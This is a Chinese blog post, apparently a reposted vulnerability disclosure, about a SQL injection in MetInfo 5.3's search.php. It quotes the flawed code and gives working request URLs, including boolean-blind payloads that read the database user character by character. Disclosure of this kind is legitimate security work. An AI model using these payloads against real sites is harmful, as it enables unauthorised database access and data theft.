MetInfo5.3 最新版本SQL注射(可获取部分数据)

暗月博客 2019年11月21日20:47:49评论402 views字数 2055阅读6分51秒阅读模式
摘要

MetInfo5.3 最新版本SQL注射 search.php: $module=intval($module); if($class1)$module=0; if(intval($module)){ $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' "; }else{ $class1_info=$class_list[$class1]; if(!$class1_info)okinfo('../',$pagelang[noid]); $class1sql=" class1='$class1' "; $class2sql=" class2='$class2' "; $class3sql=" class3='$class3' "; if($class1&&!$class2&&!$class3){ foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){ if($val['releclass']==$class1){ $class1re.=" or class1='$val[id]' "; } } if($class1re){ $class1sql='('.$class1sql.$class1re.')'; } } if($class_list[$class2]['releclass']){ $class1sql=" class1='$class2' "; $class2sql=" class2='$class3' "; $class3sql=""; } $serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql "; 由于$class1re 没有进行初始化,所以全局只需要越过

简要描述:

MetInfo5.3 最新版本SQL注射

详细说明:

search.php:

$module=intval($module);      if($class1)$module=0;      if(intval($module)){        $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' ";   }else{   $class1_info=$class_list[$class1];   if(!$class1_info)okinfo('../',$pagelang[noid]);   $class1sql=" class1='$class1' ";   $class2sql=" class2='$class2' ";   $class3sql=" class3='$class3' ";      if($class1&&!$class2&&!$class3){    foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){     if($val['releclass']==$class1){      $class1re.=" or class1='$val[id]' ";     }    }    if($class1re){     $class1sql='('.$class1sql.$class1re.')';    }   }   if($class_list[$class2]['releclass']){    $class1sql=" class1='$class2' ";    $class2sql=" class2='$class3' ";    $class3sql="";   }   $serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql ";

由于$class1re 没有进行初始化,所以全局只需要越过

foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){     if($val['releclass']==$class1){      $class1re.=" or class1='$val[id]' ";     }    }

这一条逻辑即可:

发送url:

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=1&searchword=1&lang=cn&class1re=xxxxxx

抓取sql语句为:

2015/4/8 14:39 SELECT COUNT(*) FROM met_news where lang='cn' and (recycle='0' or recycle='-1') and displaytype='1' and ( class1='2' xxxxxx) and title like '%1%'

然后进行构造

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=2&searchword=xxxxxx&lang=cn&class1re=) and 1=1-- sd

页面是:

MetInfo5.3 最新版本SQL注射(可获取部分数据)

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=2&searchword=xxxxxx&lang=cn&class1re=) and 1=2-- sd

MetInfo5.3 最新版本SQL注射(可获取部分数据)

ayload:

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=2&searchword=xxxxxx&lang=cn&class1re=) and if(ascii(substr(user(),1,1))=$NUM,1,0)-- sd

根据页面变化 补充$NUM

来进行敏感信息猜测

由于我这里是root

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=2&searchword=xxxxxx&lang=cn&class1re=) and if(ascii(substr(user(),1,1))=114,1,0)-- sd

页面里面没有xxxxxx

http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=2&searchword=xxxxxx&lang=cn&class1re=) and if(ascii(substr(user(),1,1))=1141,1,0)-- sd

页面里面有xxxxx

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:47:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MetInfo5.3 最新版本SQL注射(可获取部分数据)http://cn-sec.com/archives/72258.html

发表评论

匿名网友 填写信息